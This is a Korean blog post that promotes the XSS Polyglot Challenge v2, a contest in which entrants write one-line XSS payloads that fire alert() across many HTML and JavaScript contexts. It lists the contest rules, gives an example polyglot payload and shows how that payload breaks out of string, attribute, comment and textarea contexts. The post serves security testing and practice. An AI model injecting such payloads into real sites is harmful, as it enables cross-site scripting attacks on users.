XSS Polyglot Challenge(v2)에 참여하며 XSS에 대한 고민을 더 해봅시다!

polyglot이란 여러 환경? 에서도 동작하는 한줄짜리 강력한 테스팅 코드를 의미합니다. 저 또한 가끔씩 테스트할 때 쓰곤하는데, 아무튼 고민해보시고 만들어보시면 분명 좋은겁니다.

https://polyglot.innerht.ml/

XSS polyglot Challenge에 대해 들어보셨나요? XSS polyglot 코드로 서로 겨뤄보는(?) 챌린지인데 polyglot은 실무에서도 어느정도 유용하게 쓰일 수 있어 해보시는걸 추천드립니다. 겸사겸사 XSS 코드에 대해 감도 올리고, 자신을 돌아보는 계기도 되지요 :)

최근에 시작한건 아니지만, 최근에 v2로 리뉴얼되면서 다시 코드에 대해 고민해보게 되었지요.

룰은 이렇습니다.

    You will be given 20 common contexts in black-box
     # 0개 context에 대한 테스팅
    
    No DOM sinks or external libraries are involved
     # 외부~DOM 구간 없음

    Plain HTML injection with minimum filtering
    # HTML Injection 구간은 최소화된 필터링

    A headless Chrome will try your payload
     # 헤드리스 브라우저로 테스트함(phantomJS같은, 여기선 크롬으로)

    Your payload should run alert() in 2+ contexts
    # alert()로 테스트

    Payloads exceeding 1024 characters will always fail
     # 1024 글자 넘어가면 무조건 실패 

    Network is disabled
     # 네트워크 연결안됨

Example?

대략 이런 느낌의 코드입니다. (글쓰면서 대충 친거라 … 아마 이거 올리면 등수에도 안들어갈 것 같네요)

alert()//'+alert()//"+alert()//></textarea> --><svg/onload=/**/alert()+'>'/*

저 구문이 ..

var a = '[input]'
<img src="[input]">
<img src='[input]'>
<!-- [input] -->
<textarea>[input]</textarea>

등등 많은 케이스에서 통과할 수 있도록 하는 코드이지요.

var a = 'alert()//'+alert()//"+alert()//></textarea> --><svg/onload=/**/alert()+'>'/*'
<img src="alert()//'+alert()//"+alert()//></textarea> --><svg/onload=/**/alert()+'>'/*">
<img src='alert()//'+alert()//"+alert()//></textarea> --><svg/onload=/**/alert()+'>'/*'>
<!-- alert()//'+alert()//"+alert()//></textarea> --><svg/onload=/**/alert()+'>'/* -->
<textarea>alert()//'+alert()//"+alert()//></textarea> --><svg/onload=/**/alert()+'>'/*</textarea>
평일때만해도 50 아래였는데, 별써 90대까지…